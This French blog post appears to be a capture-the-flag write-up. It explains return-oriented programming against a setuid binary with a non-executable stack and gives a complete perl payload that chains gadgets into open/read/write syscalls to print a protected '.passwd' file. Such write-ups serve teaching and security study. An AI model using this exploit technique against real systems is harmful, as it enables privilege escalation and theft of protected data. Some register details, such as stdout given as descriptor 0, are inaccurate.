ROP

 druide

Introduction

Lors d'un challenge informatique, je me trouve dans la situation où, après deux buffer overflow, le premier conduisant à la possibilité d'exploiter le deuxième, je n'ai ni la possibilité de faire un shellcode car la stack est NX, ni la possibilité de faire un return to libc, le binaire n'étant pas compilé en librairie partagée. Il ne me reste alors plus que la solution du ROP.

Objectif

Mon but est de lire le contenu d'un fichier nommé ".passwd". En tant qu'utilisateur je (piferrari) n'ai pas les droits de lecture sur ce fichier mais le binaire exploitable est configuré pour pouvoir lire ce fichier via le SETUID. Quelque chose comme ça:


drwxr-xr-x 2 piferrari piferrari   4096 sep  7 15:13 .
drwxr-xr-x 5 root      root        4096 sep  7 15:09 ..
-r-sr-xr-x 1 pwned     pwned     594128 sep  7 15:04 bin
-r--r----- 1 pwned     pwned          9 sep  7 15:01 .passwd


En code C, je vais demander au binaire de réaliser ceci:


fd = open(".passwd", O_RDONLY);
read(fd, *data, sizeof(.passwd));
write(stdout, *data, sizeof(.passwd));


Tous les appels se feront via l'interruption 0x80. On parle de system call.

Open

L'appel de la fonction sys_open se fait en plaçant dans le registre EAX la valeur 5. EBX contient le pointeur sur la chaîne de caractères du nom du fichier et ECX prendra la valeur du mode d'accès souhaité, dans mon cas O_RDONLY. La valeur de O_RDONLY peut se trouver dans les fichiers d'en-têtes


$ grep -R 'O_RDONLY' /usr/include/*
/usr/include/asm-generic/fcntl.h:#define O_RDONLY	00000000


En résumé:
EAX = 5
EBX = *pathname
ECX = 0

La valeur de retour, à savoir le descripteur de fichier se trouvera dans EAX

Read

Pour la lecture sys_read, il faut placer la valeur 3 dans EAX. Le descripteur de fichier devra transiter de EAX à EBX, ECX contiendra l'adresse de l'espace mémoire où les données seront écrites et pour finir, EDX contiendra le nombre d'octets à lire, c'est-à-dire, la taille du fichier .passwd. ATTENTION à l'ordre des opérations. Actuellement, EAX contient le descripteur de fichier, il faut donc le faire passer dans EBX AVANT d'écraser sa valeur.

En résumé:
EBX = EAX
EAX = 3
ECX = *.data
EDX = sizeof(.passwd)

Write

Au final, je souhaite voir le contenu du fichier .passwd, je choisis donc l'appel de la fonction write avec comme descripteur de fichier 0 (stdout). Pour cela, il faudra mettre EAX à 4, le descripteur de fichier stdout, soit 0, dans EBX, ECX pointera sur les données à afficher, autrement dit, sur le ECX de l'appel précédent et EDX ne change pas de valeur.

En résumé:
EAX = 4
EBX = 0
ECX = *.data
EDX = sizeof(.passwd)

Rappel du fonctionnement normal de la pile (Stack)



Durant l'exécution du programme principal (carré en haut à droite), à un instant t, le pointeur du haut de la pile EBP se trouve à EBP Base et le pointeur de pile ESP se trouve à ESP Base.


C'est notre point de départ.

Le programme principal a sauvegardé le paramètre sur la pile et il arrive à l'instruction call. Cette instruction va placer dans l'adresse pointée par ESP, l'adresse suivant l'instruction call. Ce sera l'adresse de retour de ma fonction. Une fois la suite d'instructions de la fonction effectuée, c'est à cette adresse que je souhaite revenir. call place ensuite la valeur 0x08048254 dans EIP, on se trouve donc redirigé dans la fonction (carré du bas à droite dans l'image).


Dans cette fonction, on commence par sauvegarder la valeur de EBP dans la pile. On pourra ainsi la retrouver à la fin de la fonction. On copie la valeur de ESP dans EBP ainsi EBP pointe sur la nouvelle valeur haute de la pile. On soustrait ensuite une valeur à ESP. Cette valeur correspond à la taille nécessaire pour les variables locales à la fonction. ESP se trouve donc maintenant à « ESP fonction » et EBP se trouve à « EBP fonction ».

Arrivé à la fin de la fonction, on trouve deux instructions. leave et ret. Le travail de leave c'est de mettre dans ESP l'adresse de EBP. ESP se trouve maintenant tout en haut de la pile de la fonction (dans le bleu). Ensuite, cette instruction met dans EBP le contenu pointé par ESP, c'est-à-dire, « EBP Base ». Pour terminer, ESP est décrémenté de 1.


ESP pointe maintenant sur l'adresse de retour alors que EBP se trouve à sa valeur d'origine « EBP Base ».

ret fait maintenant son travail. Elle place dans EIP la valeur pointée par ESP et elle décrémente ESP de 1. Si on ne doit retenir qu'une chose, c'est bien le fonctionnement de ret.

En résumé pour ret


EIP = *ESP
ESP--

ROP

L'idée du ROP c'est de trouver des "gadgets" permettant l'exécution d'une ou plusieurs instructions. Le gadget doit se terminer par un "ret". Ainsi, si je place sur ma pile, dont je suis maître du contenu grâce à mon second buffer overflow, un gadget tel que


xor eax, eax ; 
ret ;


J'aurai réussi à remettre mon registre EAX à zéro.

Les gadgets

Pour reprendre une analogie, un gadget c'est comme si je ne prends que la fin d'un mot et que cette fin à un sens. Prenons par exemple le mot "following" qui signifie suivre, si je ne prends que la fin du mot "wing" j'obtiens un nouveau sens, "aile". Dans la même idée, si dans une suite d'instructions je ne prends que la fin, j'obtiens un nouveau but à cette suite d'instructions.

Exemple

Dans ce programme binaire, j'ai cette suite d'instructions dont je ne connais absolument pas le but



 ...

 80a8c9e:	66 90                	xchg   ax,ax
 80a8ca0:	74 26                	je     80a8cc8 
 80a8ca2:	3c 50                	cmp    al,0x50
 80a8ca4:	74 0e                	je     80a8cb4 
 80a8ca6:	e8 35 dc fa ff       	call   80568e0 
 80a8cab:	90                   	nop
 80a8cac:	8d 74 26 00          	lea    esi,[esi+eiz*1+0x0]
 80a8cb0:	84 c0                	test   al,al
 80a8cb2:	75 24                	jne    80a8cd8 
 80a8cb4:	83 c4 08             	add    esp,0x8
 80a8cb7:	31 c0                	xor    eax,eax
 80a8cb9:	5b                   	pop    ebx
 80a8cba:	c3                   	ret    
 80a8cbb:	90                   	nop


Si je ne conserve que les instructions depuis l'adresse 0x80a8cb7, j'ai un gadget qui remet à zéro EAX, qui place une valeur de mon choix dans EBX et qui fait un return.

Fonctionnement des gadgets (chaîne)




Comme je suis en mesure de faire un buffer overflow, je suis en mesure de remplacer la valeur de retour du fonctionnement normale par les valeurs que je souhaite. Si je place sur ma pile à la place de l'adresse de retour l'adresse 0x80a8cb7, au moment de ret de la fonction:

EIP = *ESP = 0x80a8cb7
ESP--


Je me trouve donc dirigé dans la gadget 1. Dans ce gadget, on trouve un xor eax qui remet la valeur du registre à zéro et un pop ebx qui met dans EBX le contenu pointé par ESP et qui décrémente ESP. J'ai ensuite une instruction ret.

En résumé


EIP = 0x80a8cb7          # ret normale de la fonction avec la nouvelle adresse du buffer overflow -> va dans le gadget
ESP pointe 1 adresse en dessus
EAX = 0                  # xor   \      
EBX = 0xdeedbeef         # pop¹   \
ESP--                    # pop²     -> gadget    
EIP = *ESP = @ gadget 2  # ret¹   /
ESP--                    # ret²  /


EIP pointe sur la prochaine valeur de mon choix, c'est-à-dire, mon prochain gadget

And so on...

Utils

Il ne reste plus qu'à trouver la suite de gadgets permettant de réaliser les appels de fonctions souhaités. On peut bien sûr y aller à coup d'objdump et de grep mais il existe des outils spécialisés pour réaliser cette tâche. Parmi les outils, Ropgadget était installé sur la machine distante, je n'ai donc pas investigué plus le sujet.


Si je souhaite trouver un gadget permettant de réaliser une interruption 0x80 (syscall) il suffit de partir à la 🎣


$ ROPgadget --binary bin.elf | grep "int 0x80"
# ... beaucoup de résultats
0x0807196e : mov word ptr [eax], es ; add byte ptr [eax], al ; int 0x80
0x08051d6f : nop ; int 0x80
0x080708ff : nop ; mov eax, 0x9e ; int 0x80
0x08083f9f : nop ; mov eax, 0xad ; int 0x80
0x08051d6e : nop ; nop ; int 0x80
# ... beaucoup de résultats


Pour ce gadget, on a le choix 🎉

Encore deux précisions. ATTENTION, les valeurs doivent être écrites en little-endian et .data correspond au segment dans le binaire qui se trouve être en RW. L'utilitaire readelf permet de trouver l'adresse


$ readelf -a /media/piferrari/a111aa34-5bbe-4005-b26d-d8b35ade24f8/home/level13/bin | grep \.data
[ ... removed ... ]
  [20] .data             PROGBITS        080c9080 081080 000740 00  WA  0   0 32



C'est parti

Les gadgets


0x08051646 : pop edx ; ret                    # permet de placer une valeur dans EDX
0x080a7d36 : pop eax ; ret                    # permet de placer une valeur dans EAX
0x080790c1 : mov dword ptr [edx], eax ; ret   # écrit le contenu de eax à l'endroit pointé par EDX
0x0805166d : pop ecx ; pop ebx ; ret          # permet d'écrire d'un coup ECX et EBX
0x08051d6f : nop ; int 0x80                   # int 80
0x08071c39 : xchg eax, ebx ; ret              # échange les valeurs eax et ebx

sys_open

Le premier appel system c'est open. Comme on l'a vu plus haut, il faut
EAX = 5
EBX = *pathname
ECX = 0


"\x46\x16\x05\x08" . "\x80\x90\x0C\x08" .                       # Charge @ .data dans edx
"\x36\x7d\x0a\x08" . ".pas" . 
"\xc1\x90\x07\x08" . 
"\x46\x16\x05\x08" .  "\x84\x90\x0C\x08" . 
"\x36\x7d\x0a\x08" . "swd" . "\x00" . 
"\xc1\x90\x07\x08" .                                            # .data contient .passwd\0
"\x6d\x16\x05\x08" . "\x00\x00\x00\x00" . "\x80\x90\x0C\x08"    # ebx = *.data ecx=0=O_RDONLY
"\x46\x16\x05\x08" . "\x00\x00\x00\x00"                         # edx=0=O_RDONLY
"\xdf\x75\x09\x08" .                                            # remet eax à zéro
"\x71\x3c\x08\x08" . "\x71\x3c\x08\x08" .                       # incrémente en boucle (pour le fun)
"\x71\x3c\x08\x08" . "\x71\x3c\x08\x08" .                       # jusqu''à 5 (on aurait aussi pu faire pop eax)
"\x71\x3c\x08\x08" .                                            # eax = 5
"\x6f\x1d\x05\x08" .                                            # int 80


Le descripteur de fichier se trouve maintenant dans EAX, registre généralement utilisé pour la valeur de retour d'une fonction.

sys_read

Pour cet appel, il faut
EBX = EAX
EAX = 3
ECX = *.data
EDX = sizeof(.passwd)


"\x6d\x16\x05\x08" . "\x80\x90\x0C\x08" . "\x03\x00\x00\x00"    # ECX=*.data EBX=3
"\x39\x1c\x07\x08" .                                            # ebx contient fd (vient de eax) et eax contient 3 pour int 80 (vient de ebx)
"\x46\x16\x05\x08" . "\x46\x00\x00\x00"	.                       # edx contient 46 (size_t count)
"\x6f\x1d\x05\x08" .                                            # int 80

sys_write

Pour cet appel, il faut:
EAX = 4
EBX = 0
ECX = *.data
EDX = sizeof(.passwd)


"\x6d\x16\x05\x08" . "\x80\x90\x0C\x08" . "\x01\x00\x00\x00" .  # ecx = *.data ebx=1
"\x46\x16\x05\x08" . "\x46\x00\x00\x00"	.                       # edx=46
"\xdf\x75\x09\x08" . 
"\x71\x3c\x08\x08" . "\x71\x3c\x08\x08" . 			
"\x71\x3c\x08\x08" . "\x71\x3c\x08\x08" .                       # eax=4
"\x6f\x1d\x05\x08"                                              # int 80

Le code final


Si vous êtes attentif, vous avez remarquez des '.' entre les valeurs, ça vient du perl...


perl -e 'print "\x90"x5906 .
"\x46\x16\x05\x08" . "\x80\x90\x0C\x08" .
"\x36\x7d\x0a\x08" . ".pas" . 
"\xc1\x90\x07\x08" . 
"\x46\x16\x05\x08" .  "\x84\x90\x0C\x08" . 
"\x36\x7d\x0a\x08" . "swd" . "\x00" . 
"\xc1\x90\x07\x08" .											
"\x6d\x16\x05\x08" . "\x00\x00\x00\x00" . "\x80\x90\x0C\x08" .
"\x46\x16\x05\x08" . "\x00\x00\x00\x00"	.				
"\xdf\x75\x09\x08" . 
"\x71\x3c\x08\x08" . "\x71\x3c\x08\x08" . 			
"\x71\x3c\x08\x08" . "\x71\x3c\x08\x08" . 
"\x71\x3c\x08\x08" .											
"\x6f\x1d\x05\x08" .											
"\x6d\x16\x05\x08" . "\x80\x90\x0C\x08" . "\x03\x00\x00\x00" .
"\x39\x1c\x07\x08" .											
"\x46\x16\x05\x08" . "\x46\x00\x00\x00"	.						
"\x6f\x1d\x05\x08" .
"\x6d\x16\x05\x08" . "\x80\x90\x0C\x08" . "\x01\x00\x00\x00" .
"\x46\x16\x05\x08" . "\x46\x00\x00\x00"	.
"\xdf\x75\x09\x08" . 
"\x71\x3c\x08\x08" . "\x71\x3c\x08\x08" . 			
"\x71\x3c\x08\x08" . "\x71\x3c\x08\x08" .
"\x6f\x1d\x05\x08"'


Les 5906 caractères \x90 (NOP) sont le buffer overflow, la première valeur qui suit correspond au premier gadget et les autres s’enchaînent.

Et là, BINGO, le binaire affiche dans la console le contenu du fichier ".passwd" 😎.

That's all folks

Tags: challenge hacking assembler

  • 1 year 10 months before
  • |